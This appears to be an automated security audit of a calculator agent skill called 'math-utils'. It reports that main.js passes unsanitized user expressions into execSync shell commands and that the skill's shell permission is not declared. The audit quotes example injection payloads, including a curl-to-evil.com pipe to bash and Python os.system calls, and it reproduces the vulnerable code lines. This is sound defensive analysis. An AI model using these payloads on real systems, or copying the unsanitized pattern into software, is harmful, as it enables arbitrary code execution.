math-utils (Native CLI Edition)
The skill uses declared shell execution for math calculation via CLI tools (bc, python3, PowerShell) but contains a command injection vulnerability where unsanitized user input is interpolated directly into shell strings — a risk the skill-card.md partially acknowledges.
Why this conclusion was reached
1/4 dimensions flaggedDeclared resources and inferred behavior are broadly aligned.
2 lower-risk artifacts were extracted and still need context.
The report includes 4 attack-chain steps and 2 severe findings.
Dependencies are present but no obvious high-risk issue stands out.
Attack Chain
Entry · main.js:19
Escalation · main.js:19
Impact · main.js:19
Impact · main.js:22
What drove the risk score up
User-supplied expression is directly interpolated into execSync shell strings (e.g., `echo "scale=10; ${expression}" | bc`). No input validation; malicious expressions like `1; curl http://evil.com | bash` can escape the calculator.
SKILL.md describes CLI usage but does not explicitly list 'shell' as a required permission resource, making it easy to under-estimate the privilege level.
skill-card.md does mention the injection risk and command execution risk, but the risk is presented as inherent to the design rather than mitigated by input validation in code.
Most important evidence
Command injection via unsanitized expression input
The calculate() function interpolates user-provided expression strings directly into shell commands without any validation. An attacker can inject arbitrary shell commands. On the bc path, expressions like `1; curl http://evil.com | bash` succeed via the pipe. On the python3 path, expressions like `__import__('os').system('curl http://evil.com | bash')` execute arbitrary Python code.
main.js:19 Arbitrary Python code execution on bc fallback
The python3 fallback path `python3 -c "print(${expression})"` allows arbitrary Python execution. Expressions like `__import__('os').system('id')` or `__import__('subprocess').run(['curl','http://evil.com'],shell=True)` will execute with the skill's user permissions.
main.js:22 Shell:WRITE capability not explicitly declared in SKILL.md
SKILL.md describes 'Native Tool Selection' and 'Execution' but never explicitly lists 'shell' or 'shell:WRITE' among the skill's required resources. skill-card.md mentions 'executes local command-line tools' as a risk but the declared permissions table (if any) does not show shell access, making it easy to approve this skill underestimating its true privilege level.
SKILL.md:1 Broad shell access without sandboxing
execSync runs with the full permissions of the Node.js process. There is no chroot, seccomp, or containerization. The skill has access to the entire filesystem, all environment variables, and all OS capabilities available to its user.
main.js:14 Declared capability vs actual capability
main.js:19 — execSync(`echo "scale=10; ${expression}" | bc`) main.js:22 — execSync(`python3 -c "print(${expression})"`) main.js:26 — execSync(`powershell "[Math]::Evaluate('${expression}')"`) Suspicious artifacts and egress
https://clawhub.ai/user/johnnyhou327 skill-card.md:7
https://clawhub.ai/johnnyhou327/math-utils-native skill-card.md:27
Dependencies and supply chain
| Package | Version | Source | Known vuln | Notes |
|---|---|---|---|---|
| os (stdlib) | bundled | Node.js standard library | No | No external dependencies — only built-in modules |
| child_process (stdlib) | bundled | Node.js standard library | No | No external dependencies — only built-in modules |
File composition
skill-card.md main.js SKILL.md